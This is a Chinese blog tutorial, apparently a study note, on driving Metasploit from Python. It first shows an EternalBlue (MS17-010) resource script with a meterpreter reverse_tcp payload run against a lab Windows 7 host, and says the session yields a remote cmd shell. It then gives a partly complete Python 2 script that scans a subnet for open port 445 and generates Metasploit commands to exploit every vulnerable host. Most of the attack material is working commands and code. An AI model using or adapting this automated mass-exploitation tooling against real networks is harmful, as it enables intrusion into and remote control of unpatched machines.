Python黑客攻防(十五)编写Python脚本与Metasploit交互

注:本篇文章为个人学习笔记仅供学习交流,请勿用于非法用途。参考:《Python绝技:运用Python成为顶级黑客》。
更多干货请关注微信公众号:黑客帮。

在进行编写与Metasploit交互的脚本前,我们先简单运用Metasploit利用ms17-010(永恒之蓝)漏洞对目标主机实现攻击。详细教程见->利用永恒之蓝漏洞(MS17-010)入侵电脑
目标主机:Windows7 IP:192.168.1.10
攻击主机:kalilinux IP:192.168.1.14

步骤:


(1)在kalilinux桌面创建一个以’.rc’为后缀的文件,我创建的是‘smb.rc’,然后填入下面的命令。

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.1.10
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.1.10
set payload windows/x64/meterpreter/reverse_tcp
exploit -j -z

在这里插入图片描述

(2)右击文件smb.rc,在此打开终端。输入如下命令,回车。

msfconsole -r smb.rc

(3)看到如下出现状态,继续按回车,然后输入如下命令即可建立会话运行命令,具体利用可以见->利用永恒之蓝漏洞(MS17-010)入侵电脑

sessions -i 1

在这里插入图片描述在这里插入图片描述(4)输入shell就可以进入Windows的cmd命令界面了。

在这里插入图片描述

编写python脚本


可以用python编写一个能扫描445端口的主机,并自动生成一个去攻击所有有漏洞主机的Metasploit脚本文件的Python脚本。

# coding=utf-8
import nmap
import os
import optparse
import sys

def findTgts(subNet):
    nmScan = nmap.PortScanner()
    nmScan.scan(subNet, '445')
    tgtHosts = []
    for host in nmScan.all_hosts():
        # 若目标主机存在TCP的445端口
        if nmScan[host].has_tcp(445):
            state = nmScan[host]['tcp'][445]['state']
            # 并且445端口是开启的
            if state == 'open':
                print '[+] Found Target Host: ' + host
                tgtHosts.append(host)
    return tgtHosts


def setupHandler(configFile, rhost):
    configFile.write('use auxiliary/scanner/smb/smb_ms17_010\n')
    configFile.write('set rhosts '+rhost+'\n')
    configFile.write('use exploit/windows/smb/ms17_010_eternalblue\n')
    configFile.write('set rhosts ' + rhost + '\n')
    configFile.write('set payload windows/x64/meterpreter/reverse_tcp\n')
    configFile.write('exploit -j -z\n')

    # 设置全局变量DisablePayloadHandler,让已经新建一个监听器之后,后面的所有的主机不会重复新建监听器
    # 其中setg为设置全局参数
    configFile.write('setg DisablePayloadHandler 1\n')
def confickerExploit(configFile, tgtHost):  # tgtHost为目标的IP
    configFile.write('use auxiliary/scanner/smb/smb_ms17_010\n')
    configFile.write('set rhosts ' + str(tgtHost) + '\n')
    configFile.write('use exploit/windows/smb/ms17_010_eternalblue\n')
    configFile.write('set rhosts ' + str(tgtHost)  + '\n')
    configFile.write('set payload windows/x64/meterpreter/reverse_tcp\n')

    # -j参数表示攻击在后台进行,-z参数表示攻击完成后不与会话进行交互
    configFile.write('exploit -j -z\n')

findTgts()函数中实现对整个网段的主机445端口的扫描,setupHandler()函数实现目标主机被攻击后进行远程交互的监听器的功能,confickerExploit()函数实现命令执行,代码未完整,可后续自行补充。

微信公众号:黑客帮
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值